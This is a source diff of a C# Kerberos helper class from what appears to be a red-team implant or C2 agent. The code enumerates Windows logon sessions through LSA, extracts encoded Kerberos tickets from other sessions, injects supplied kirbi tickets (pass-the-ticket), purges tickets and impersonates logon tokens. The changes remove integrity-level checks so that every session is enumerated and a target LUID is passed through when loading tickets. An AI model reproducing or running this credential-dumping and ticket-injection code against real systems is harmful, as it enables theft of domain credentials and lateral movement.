2
2
using System . Collections . Generic ;
3
3
using System . IO ;
4
4
using System . Linq ;
5
+ using System . Net . Sockets ;
5
6
using System . Runtime . InteropServices ;
6
7
using System . Security . Principal ;
7
8
using System . Text ;
@@ -20,12 +21,12 @@ namespace KerberosTickets;
20
21
internal class KerberosHelpers
21
22
{
22
23
private static HANDLE systemHandle { get ; set ; }
23
-
24
+
24
25
private static List < Artifact > createdArtifacts = new List < Artifact > ( ) ;
25
-
26
-
27
-
28
-
26
+
27
+
28
+
29
+
29
30
//private helper methods
30
31
private static HANDLE GetLsaHandleUntrusted ( bool elevateToSystem = true )
31
32
{
@@ -88,38 +89,30 @@ private static uint GetAuthPackage(HANDLE lsaHandle, HANDLE<LSA_IN_STRING> packa
88
89
return authPackage ;
89
90
}
90
91
91
-
92
+
92
93
93
94
private static IEnumerable < LUID > GetLogonSessions ( )
94
95
{
95
96
List < LUID > logonIds = [ ] ;
96
97
try
97
98
{
98
- if ( Agent . GetIdentityManager ( ) . GetIntegrityLevel ( ) >= IntegrityLevel . HighIntegrity )
99
+ // get all logon ids
100
+ DebugHelp . DebugWriteLine ( "enumerating logon session" ) ;
101
+ WindowsAPI . LsaEnumerateLogonSessionsDelegate ( out uint logonCount , out HANDLE logonIdHandle ) ;
102
+ createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "LsaEnumerateLogonSessions" ) ) ;
103
+ var logonWorkingHandle = logonIdHandle ;
104
+ for ( var i = 0 ; i < logonCount ; i ++ )
99
105
{
100
- // get all logon ids
101
- DebugHelp . DebugWriteLine ( "enumerating logon session" ) ;
102
- WindowsAPI . LsaEnumerateLogonSessionsDelegate ( out uint logonCount , out HANDLE logonIdHandle ) ;
103
- createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "LsaEnumerateLogonSessions" ) ) ;
104
- var logonWorkingHandle = logonIdHandle ;
105
- for ( var i = 0 ; i < logonCount ; i ++ )
106
+ var logonId = logonWorkingHandle . CastTo < LUID > ( ) ;
107
+ if ( logonId . IsNull || logonIds . Contains ( logonId ) )
106
108
{
107
- var logonId = logonWorkingHandle . CastTo < LUID > ( ) ;
108
- if ( logonId . IsNull || logonIds . Contains ( logonId ) )
109
- {
110
- DebugHelp . DebugWriteLine ( "LogonId is null or is already in the list, skipping" ) ;
111
- continue ;
112
- }
113
- logonIds . Add ( logonId ) ;
114
- logonWorkingHandle = logonWorkingHandle . Increment ( ) ;
109
+ DebugHelp . DebugWriteLine ( "LogonId is null or is already in the list, skipping" ) ;
110
+ continue ;
115
111
}
116
- WindowsAPI . LsaFreeReturnBufferDelegate ( logonIdHandle ) ;
117
- }
118
- else
119
- {
120
- // we can only get our own if not elevated
121
- logonIds . Add ( GetCurrentLuid ( ) ) ;
112
+ logonIds . Add ( logonId ) ;
113
+ logonWorkingHandle = logonWorkingHandle . Increment ( ) ;
122
114
}
115
+ WindowsAPI . LsaFreeReturnBufferDelegate ( logonIdHandle ) ;
123
116
}
124
117
catch ( Exception e )
125
118
{
@@ -136,6 +129,11 @@ private static LogonSessionData GetLogonSessionData(HANDLE<LUID> luidHandle)
136
129
{
137
130
WindowsAPI . LsaGetLogonSessionDataDelegate ( luidHandle , out logonSessionDataHandle ) ;
138
131
createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "LsaGetLogonSessionData" ) ) ;
132
+ if ( logonSessionDataHandle . IsNull )
133
+ {
134
+ DebugHelp . DebugWriteLine ( $ "Error getting logon session data") ;
135
+ return new LogonSessionData ( ) ;
136
+ }
139
137
var seclogonSessionData = logonSessionDataHandle . CastTo < SECURITY_LOGON_SESSION_DATA > ( ) ;
140
138
LogonSessionData sessionData = new ( )
141
139
{
@@ -163,7 +161,7 @@ private static LogonSessionData GetLogonSessionData(HANDLE<LUID> luidHandle)
163
161
WindowsAPI . LsaFreeReturnBufferDelegate ( logonSessionDataHandle ) ;
164
162
}
165
163
}
166
-
164
+
167
165
private static IEnumerable < KerberosTicket > GetTicketCache ( HANDLE lsaHandle , uint authPackage , LUID logonId )
168
166
{
169
167
//needs to be elevated to pass in a logon id so if we arent we wipe the value here
@@ -174,7 +172,7 @@ private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint
174
172
}
175
173
// tickets to return
176
174
List < KerberosTicket > tickets = [ ] ;
177
-
175
+
178
176
KERB_QUERY_TKT_CACHE_REQUEST request = new ( )
179
177
{
180
178
MessageType = KERB_PROTOCOL_MESSAGE_TYPE . KerbQueryTicketCacheExMessage ,
@@ -192,7 +190,7 @@ private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint
192
190
return tickets ;
193
191
}
194
192
var response = returnBuffer . CastTo < KERB_QUERY_TKT_CACHE_RESPONSE > ( ) ;
195
-
193
+
196
194
if ( response . CountOfTickets == 0 )
197
195
{
198
196
DebugHelp . DebugWriteLine ( "No tickets found" ) ;
@@ -244,7 +242,7 @@ private static (HANDLE, uint, IEnumerable<LUID>) InitKerberosConnectionAndSessio
244
242
}
245
243
DebugHelp . DebugWriteLine ( "Got LSA Handle" ) ;
246
244
connectionInfo . Item1 = lsaHandle ;
247
-
245
+
248
246
// get auth package
249
247
LSA_IN_STRING packageName = new ( "kerberos" ) ;
250
248
HANDLE < LSA_IN_STRING > packageNameHandle = new ( packageName ) ;
@@ -262,7 +260,6 @@ private static (HANDLE, uint, IEnumerable<LUID>) InitKerberosConnectionAndSessio
262
260
// get all logon sessions
263
261
if ( GetSessions )
264
262
{
265
- DebugHelp . DebugWriteLine ( "Getting Logon Sessions" ) ;
266
263
var logonSessions = GetLogonSessions ( ) ;
267
264
var logonSessionList = logonSessions . ToList ( ) ;
268
265
DebugHelp . DebugWriteLine ( $ "Found { logonSessionList . Count ( ) } logon sessions") ;
@@ -295,7 +292,7 @@ private static HANDLE CreateNewLogonSession()
295
292
{
296
293
createdArtifacts . Add ( Artifact . PlaintextLogon ( userName . ToString ( ) ) ) ;
297
294
}
298
- //debug get the luid for the token
295
+ //debug get the luid for the token
299
296
int tokenInfoSize = Marshal . SizeOf < TOKEN_STATISTICS > ( ) ;
300
297
HANDLE tokenInfo = ( HANDLE ) Marshal . AllocHGlobal ( tokenInfoSize ) ;
301
298
WindowsAPI . GetTokenInformationDelegate ( token , Win32 . TokenInformationClass . TokenStatistics , tokenInfo , tokenInfoSize , out int returnLength ) ;
@@ -312,7 +309,7 @@ private static HANDLE CreateNewLogonSession()
312
309
return new ( ) ;
313
310
}
314
311
}
315
-
312
+
316
313
/// <summary>
317
314
/// Gets any created artifacts that were produced between the current call and the last call to this method
318
315
/// </summary>
@@ -324,7 +321,7 @@ internal static List<Artifact> GetCreatedArtifacts()
324
321
createdArtifacts . Clear ( ) ;
325
322
return artifacts ;
326
323
}
327
-
324
+
328
325
//internal methods but are exposed via the KerberosTicketManager
329
326
internal static LUID GetCurrentLuid ( )
330
327
{
@@ -343,8 +340,8 @@ internal static LUID GetCurrentLuid()
343
340
}
344
341
return new LUID ( ) ;
345
342
}
346
-
347
-
343
+
344
+
348
345
internal static LUID GetTargetProcessLuid ( int pid )
349
346
{
350
347
HANDLE tokenInfo = new ( ) ;
@@ -397,7 +394,7 @@ internal static LUID GetTargetProcessLuid(int pid)
397
394
WindowsAPI . CloseHandleDelegate ( targetProcessHandle ) ;
398
395
}
399
396
}
400
-
397
+
401
398
//get all tickets
402
399
internal static IEnumerable < KerberosTicket > TriageTickets ( bool getSystemTickets = false , string targetLuid = "" )
403
400
{
@@ -443,8 +440,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
443
440
}
444
441
return allTickets ;
445
442
}
446
-
447
-
443
+
444
+
448
445
//extract ticket
449
446
internal static KerberosTicket ? ExtractTicket ( LUID targetLuid , string targetName )
450
447
{
@@ -467,7 +464,7 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
467
464
DebugHelp . DebugWriteLine ( $ "Failed to find ticket for { targetName } ") ;
468
465
return null ;
469
466
}
470
-
467
+
471
468
KERB_RETRIEVE_TKT_REQUEST request = new ( )
472
469
{
473
470
MessageType = KERB_PROTOCOL_MESSAGE_TYPE . KerbRetrieveEncodedTicketMessage ,
@@ -504,8 +501,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
504
501
}
505
502
//convert the location of the ticket in memory to a struct
506
503
var response = returnBuffer . CastTo < KERB_RETRIEVE_TKT_RESPONSE > ( ) ;
507
-
508
- //make sure the ticket has some data
504
+
505
+ //make sure the ticket has some data
509
506
if ( response . Ticket . EncodedTicketSize == 0 )
510
507
{
511
508
DebugHelp . DebugWriteLine ( "No ticket Data to extract" ) ;
@@ -523,8 +520,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
523
520
return null ;
524
521
}
525
522
}
526
-
527
- // load ticket
523
+
524
+ // load ticket
528
525
internal static bool LoadTicket ( byte [ ] submittedTicket , LUID targetLuid )
529
526
{
530
527
HANDLE requestAndTicketHandle = new ( ) ;
@@ -536,11 +533,11 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
536
533
//Discarding the logonSessions because we do not need them so we pass false to prevent enumerating them
537
534
( lsaHandle , uint authPackage , IEnumerable < LUID > _ ) = InitKerberosConnectionAndSessionInfo ( false ) ;
538
535
//if we are not an admin user then we cannot send a real lUID so we need to send a null one
539
- if ( Agent . GetIdentityManager ( ) . GetIntegrityLevel ( ) is <= IntegrityLevel . MediumIntegrity )
540
- {
541
- DebugHelp . DebugWriteLine ( "Not high integrity, setting targetLuid to 0" ) ;
542
- targetLuid = new LUID ( ) ;
543
- }
536
+ // if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity)
537
+ // {
538
+ // DebugHelp.DebugWriteLine("Not high integrity, setting targetLuid to 0");
539
+ // targetLuid = new LUID();
540
+ // }
544
541
//get the size of the request structure
545
542
var requestSize = Marshal . SizeOf < KERB_SUBMIT_TKT_REQUEST > ( ) ;
546
543
@@ -551,26 +548,25 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
551
548
KerbCredSize = submittedTicket . Length ,
552
549
KerbCredOffset = requestSize ,
553
550
} ;
554
-
551
+
555
552
//get the size of the required parts and allocate memory for the struct and the ticket
556
553
var ticketSize = submittedTicket . Length ;
557
554
DebugHelp . DebugWriteLine ( $ "Ticket is of size { ticketSize } ") ;
558
555
var requestPlusTicketSize = requestSize + ticketSize ;
559
556
DebugHelp . DebugWriteLine ( $ "Allocating memory for request and ticket of size { requestPlusTicketSize } ") ;
560
557
requestAndTicketHandle = new ( Marshal . AllocHGlobal ( requestPlusTicketSize ) ) ;
561
-
558
+
562
559
//write the request to the start of the new memory block
563
560
Marshal . StructureToPtr ( request , requestAndTicketHandle , false ) ;
564
561
//get the address of the end of the struct
565
562
HANDLE requestEndAddress = new ( new ( requestAndTicketHandle . PtrLocation . ToInt64 ( ) + requestSize ) ) ;
566
563
//write the ticket to the end of the struct
567
564
Marshal . Copy ( submittedTicket , 0 , requestEndAddress . PtrLocation , ticketSize ) ;
568
-
565
+
569
566
//submit the ticket
570
567
DebugHelp . DebugWriteLine ( $ "Submitting ticket of size { ticketSize } to LSA") ;
571
568
var status = WindowsAPI . LsaCallAuthenticationPackageDelegate ( lsaHandle , authPackage , requestAndTicketHandle , requestPlusTicketSize , out returnBuffer , out uint returnLength , out NTSTATUS returnStatus ) ;
572
569
createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "LsaCallAuthenticationPackage" ) ) ;
573
-
574
570
if ( status != NTSTATUS . STATUS_SUCCESS || returnStatus != NTSTATUS . STATUS_SUCCESS )
575
571
{
576
572
DebugHelp . DebugWriteLine ( $ "Failed to submit ticket with api status: { status } and return status: { returnStatus } ") ;
@@ -590,10 +586,10 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
590
586
//is checked because for some operations loading the ticket is not the final step so we may want to keep the handle open
591
587
WindowsAPI . LsaDeregisterLogonProcessDelegate ( lsaHandle ) ;
592
588
createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "LsaDeregisterLogonProcess" ) ) ;
593
-
589
+
594
590
}
595
591
}
596
-
592
+
597
593
// unload ticket
598
594
internal static bool UnloadTicket ( string serviceName , string domainName , LUID targetLuid , bool All )
599
595
{
@@ -617,7 +613,7 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
617
613
MessageType = KERB_PROTOCOL_MESSAGE_TYPE . KerbPurgeTicketCacheMessage ,
618
614
LogonId = Agent . GetIdentityManager ( ) . GetIntegrityLevel ( ) <= IntegrityLevel . MediumIntegrity ? new LUID ( ) : targetLuid
619
615
} ;
620
-
616
+
621
617
// Marshal the request structure first
622
618
Marshal . StructureToPtr ( request , requestBuffer , false ) ;
623
619
@@ -677,7 +673,7 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
677
673
createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "LsaDeregisterLogonProcess" ) ) ;
678
674
}
679
675
}
680
-
676
+
681
677
//describe ticket
682
678
internal static KerberosTicket ? TryGetTicketDetailsFromKirbi ( byte [ ] kirbiTicket )
683
679
{
@@ -695,11 +691,22 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
695
691
WindowsAPI . ImpersonateLoggedOnUserDelegate ( newlogonHandle ) ;
696
692
createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "ImpersonateLoggedOnUser" ) ) ;
697
693
//passing new luid here is fine because we have switched to the new logon session
698
- LoadTicket ( kirbiTicket , new LUID ( ) ) ;
699
- ticket = TriageTickets ( ) . FirstOrDefault ( ) ;
700
- ticket . Kirbi = kirbiTicket ;
694
+ int tokenInfoSize = Marshal . SizeOf < TOKEN_STATISTICS > ( ) ;
695
+ HANDLE tokenInfo = ( HANDLE ) Marshal . AllocHGlobal ( tokenInfoSize ) ;
696
+ WindowsAPI . GetTokenInformationDelegate ( newlogonHandle , Win32 . TokenInformationClass . TokenStatistics , tokenInfo , tokenInfoSize , out int returnLength ) ;
697
+ createdArtifacts . Add ( Artifact . WindowsAPIInvoke ( "GetTokenInformation" ) ) ;
698
+ TOKEN_STATISTICS tokenStats = tokenInfo . CastTo < TOKEN_STATISTICS > ( ) ;
699
+ LoadTicket ( kirbiTicket , tokenStats . AuthenticationId ) ;
700
+ ticket = TriageTickets ( getSystemTickets : true , targetLuid : $ "{ tokenStats . AuthenticationId } ") . FirstOrDefault ( ) ;
701
+ if ( ticket != null )
702
+ {
703
+ ticket . Kirbi = kirbiTicket ;
704
+ DebugHelp . DebugWriteLine ( $ "Converted base64 ticket to KerberosTicket: { ticket . ToString ( ) . ToIndentedString ( ) } ") ;
705
+ } else
706
+ {
707
+ DebugHelp . DebugWriteLine ( $ "Failed to triage any tickets") ;
708
+ }
701
709
}
702
- DebugHelp . DebugWriteLine ( $ "Converted base64 ticket to KerberosTicket: { ticket . ToString ( ) . ToIndentedString ( ) } ") ;
703
710
}
704
711
catch ( Exception e )
705
712
{
0 commit comments